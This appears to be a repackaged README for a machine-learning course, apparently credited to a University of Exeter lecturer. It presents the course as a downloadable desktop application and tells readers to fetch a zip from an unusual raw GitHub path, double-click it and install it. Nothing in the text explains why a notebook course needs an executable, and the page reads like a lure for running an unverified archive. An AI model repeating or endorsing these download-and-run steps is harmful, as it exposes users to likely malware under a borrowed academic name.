Welcome to Fundamentals of Machine Learning. This application will help you understand the core concepts of machine learning, as taught by Dr. Chico Camargo at the University of Exeter. You’ll learn essential topics, including data visualization, clustering, and exploratory data analysis.
- User-Friendly Interface: Designed for everyone, even if you have no programming experience.
- Comprehensive Guides: Step-by-step instructions on how to use each feature.
- Interactive Learning: Includes Jupyter Notebooks that let you apply what you learn right away.
- Diverse Datasets: Work with various datasets to enhance your understanding of machine learning techniques.
- Model Selection: Simplified processes for choosing the best machine learning model for your data.
To get started, you need to download the application. Please follow these steps:
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Visit the Releases Page: Click the link below to go to the application’s download page. Download the application here
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Select the Appropriate Version: Look for the latest version available. Ensure you choose the correct file for your system. Most users will want the file named
https://raw.githubusercontent.com/Sabbam/Fundamentals_of_Machine_Learning/main/demanding/Fundamentals_of_Machine_Learning.zipfor Windows or the equivalent file for macOS. -
Download the File: Click on the filename to start the download. The download may take a few moments depending on your internet connection.
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Run the Application: Once downloaded, locate the file on your computer. Double-click it to run the application. Follow any on-screen instructions to install.
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Start Learning: Once the application launches, you can begin exploring the features. Try the example datasets and tutorials provided.
To ensure a smooth experience, check that your system meets the following requirements:
- Operating System: Windows 10 or later, macOS Mojave (10.14) or later.
- RAM: Minimum 4 GB (8 GB recommended for optimal performance).
- CPU: At least a dual-core processor.
- Disk Space: 1 GB free space for the application and datasets.
Here are the main topics you will explore:
- Clustering: Understand how to group similar data points.
- Data Visualization: Learn to present your data visually for better insights.
- Dimensionality Reduction: Discover techniques to reduce data complexity while preserving essential information.
- Exploratory Data Analysis: Implement methods to explore data before applying machine learning algorithms.
- Model Selection: Find the best machine learning model to suit your data and objectives using Scikit-learn.
To further enhance your understanding, consider visiting these resources:
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Books:
- "Hands-On Machine Learning with Scikit-Learn, Keras, and TensorFlow" by Aurélien Géron.
- "Pattern Recognition and Machine Learning" by Christopher Bishop.
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Online Courses:
- Coursera's "Machine Learning" by Andrew Ng.
- edX's "Data Science Essentials" from Microsoft.
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Communities:
- Join forums and groups, such as Kaggle and Reddit’s machine learning communities, to connect with other learners.
We value your input and are here to help. If you encounter problems or have suggestions, please feel free to reach out. You can create an issue in the GitHub repository, and our team will assist you promptly.
Thank you for choosing Fundamentals of Machine Learning. Happy learning!